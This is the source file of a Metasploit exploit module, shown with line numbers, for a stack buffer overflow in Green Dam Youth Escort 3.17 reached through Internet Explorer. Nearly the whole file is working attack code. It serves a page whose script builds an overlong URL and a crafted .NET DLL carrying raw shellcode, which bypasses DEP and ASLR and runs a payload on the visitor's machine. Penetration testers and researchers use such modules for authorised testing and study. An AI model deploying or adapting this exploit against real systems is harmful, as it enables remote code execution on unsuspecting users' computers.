root / modules / exploits / windows / browser / greendam_url.rb @ master
History | View | Annotate | Download (4.6 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# Framework web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/framework/
|
| 10 |
##
|
| 11 |
|
| 12 |
##
|
| 13 |
# greendam_url.rb
|
| 14 |
#
|
| 15 |
# Green Dam URL Processing Buffer Overflow exploit for the Metasploit Framework
|
| 16 |
#
|
| 17 |
# Green Dam Youth Escort 3.17 successfully exploited on the following platforms:
|
| 18 |
# - Internet Explorer 6, Windows XP SP2
|
| 19 |
# - Internet Explorer 7, Windows XP SP3
|
| 20 |
# - Internet Explorer 7, Windows Vista SP1
|
| 21 |
#
|
| 22 |
# .NET binary is used to bypass DEP and ASLR
|
| 23 |
#
|
| 24 |
# Trancer
|
| 25 |
# http://www.rec-sec.com
|
| 26 |
##
|
| 27 |
|
| 28 |
require 'msf/core'
|
| 29 |
|
| 30 |
class Metasploit3 < Msf::Exploit::Remote |
| 31 |
Rank = NormalRanking |
| 32 |
|
| 33 |
include Msf::Exploit::Remote::HttpServer::HTML |
| 34 |
|
| 35 |
def initialize(info = {}) |
| 36 |
super(update_info(info,
|
| 37 |
'Name' => 'Green Dam URL Processing Buffer Overflow', |
| 38 |
'Description' => %q{ |
| 39 |
This module exploits a stack-based buffer overflow in Green Dam Youth Escort |
| 40 |
version 3.17 in the way it handles overly long URLs. |
| 41 |
By setting an overly long URL, an attacker can overrun a buffer and execute |
| 42 |
arbitrary code. This module uses the .NET DLL memory technique by Alexander |
| 43 |
Sotirov and Mark Dowd and should bypass DEP, NX and ASLR. |
| 44 |
},
|
| 45 |
'License' => MSF_LICENSE, |
| 46 |
'Author' => [ 'Trancer <mtrancer[at]gmail.com>' ], |
| 47 |
'Version' => '$Revision$', |
| 48 |
'References' =>
|
| 49 |
[ |
| 50 |
['OSVDB', '55126'], |
| 51 |
['URL', 'http://www.cse.umich.edu/~jhalderm/pub/gd/'], # Analysis of the Green Dam Censorware System |
| 52 |
['URL', 'http://www.exploit-db.com/exploits/8938/'], # Original exploit by seer[N.N.U] |
| 53 |
['URL', 'http://taossa.com/archive/bh08sotirovdowd.pdf'], # .NET DLL memory technique |
| 54 |
], |
| 55 |
'DefaultOptions' =>
|
| 56 |
{
|
| 57 |
'EXITFUNC' => 'process', |
| 58 |
}, |
| 59 |
'Payload' =>
|
| 60 |
{
|
| 61 |
'Space' => 1000, |
| 62 |
'BadChars' => "\x00", |
| 63 |
'Compat' =>
|
| 64 |
{
|
| 65 |
'ConnectionType' => '-find', |
| 66 |
}, |
| 67 |
'StackAdjustment' => -3500, |
| 68 |
|
| 69 |
# Temporary stub virtualalloc() + memcpy() payload to RWX page
|
| 70 |
'PrependEncoder' =>
|
| 71 |
"\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c"+
|
| 72 |
"\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32"+
|
| 73 |
"\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07"+
|
| 74 |
"\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24"+
|
| 75 |
"\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8"+
|
| 76 |
"\xeb\x02\x31\xc0\x5f\x5e\x5d\x5b\xc2\x08\x00\x5e\x6a\x30\x59\x64"+
|
| 77 |
"\x8b\x19\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x53\x68\x54"+
|
| 78 |
"\xca\xaf\x91\xff\xd6\x6a\x40\x5e\x56\xc1\xe6\x06\x56\xc1\xe6\x08"+
|
| 79 |
"\x56\x6a\x00\xff\xd0\x89\xc3\xeb\x0d\x5e\x89\xdf\xb9\xe8\x03\x00"+
|
| 80 |
"\x00\xfc\xf3\xa4\xff\xe3\xe8\xee\xff\xff\xff"
|
| 81 |
}, |
| 82 |
'Platform' => 'win', |
| 83 |
'Targets' =>
|
| 84 |
[ |
| 85 |
[ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { }],
|
| 86 |
], |
| 87 |
'DisclosureDate' => 'Jun 11 2009', |
| 88 |
'DefaultTarget' => 0)) |
| 89 |
end
|
| 90 |
|
| 91 |
def on_request_uri(cli, request) |
| 92 |
|
| 93 |
ibase = 0x24240000
|
| 94 |
vaddr = ibase + 0x2065
|
| 95 |
|
| 96 |
if (request.uri.match(/\.dll$/i)) |
| 97 |
|
| 98 |
print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")
|
| 99 |
|
| 100 |
return if ((p = regenerate_payload(cli)) == nil) |
| 101 |
|
| 102 |
# First entry points to the table of pointers
|
| 103 |
vtable = [ vaddr + 4 ].pack("V") |
| 104 |
cbase = ibase + 0x2065 + (256 * 4) |
| 105 |
|
| 106 |
# Build a function table
|
| 107 |
255.times { vtable << [cbase].pack("V") } |
| 108 |
|
| 109 |
# Append the shellcode
|
| 110 |
vtable << p.encoded |
| 111 |
send_response( |
| 112 |
cli, |
| 113 |
Msf::Util::EXE.to_dotnetmem(ibase, vtable), |
| 114 |
{
|
| 115 |
'Content-Type' => 'application/x-msdownload', |
| 116 |
'Connection' => 'close', |
| 117 |
'Pragma' => 'no-cache' |
| 118 |
} |
| 119 |
) |
| 120 |
return
|
| 121 |
end
|
| 122 |
|
| 123 |
print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
|
| 124 |
|
| 125 |
j_function = rand_text_alpha(rand(100)+1) |
| 126 |
j_url = rand_text_alpha(rand(100)+1) |
| 127 |
j_counter = rand_text_alpha(rand(30)+2) |
| 128 |
|
| 129 |
if ("/" == get_resource[-1,1]) |
| 130 |
dll_uri = get_resource[0, get_resource.length - 1] |
| 131 |
else
|
| 132 |
dll_uri = get_resource |
| 133 |
end
|
| 134 |
dll_uri << "/generic-" + Time.now.to_i.to_s + ".dll" |
| 135 |
|
| 136 |
html = %Q|<html>
|
| 137 |
<head> |
| 138 |
<script language="javascript"> |
| 139 |
function #{j_function}() { |
| 140 |
var #{j_url}=''; |
| 141 |
for(var #{j_counter}=1;#{j_counter}<=2035;#{j_counter}++) |
| 142 |
#{j_url}+='$'; |
| 143 |
|
| 144 |
window.location=#{j_url}+'.html'; |
| 145 |
} |
| 146 |
</script> |
| 147 |
</head> |
| 148 |
<body onload="#{j_function}()"> |
| 149 |
<object classid="#{dll_uri}#GenericControl"> |
| 150 |
<object> |
| 151 |
</body> |
| 152 |
</html> |
| 153 |
|
|
| 154 |
|
| 155 |
# Transmit the compressed response to the client
|
| 156 |
send_response(cli, html, { 'Content-Type' => 'text/html' })
|
| 157 |
|
| 158 |
# Handle the payload
|
| 159 |
handler(cli) |
| 160 |
end
|
| 161 |
end
|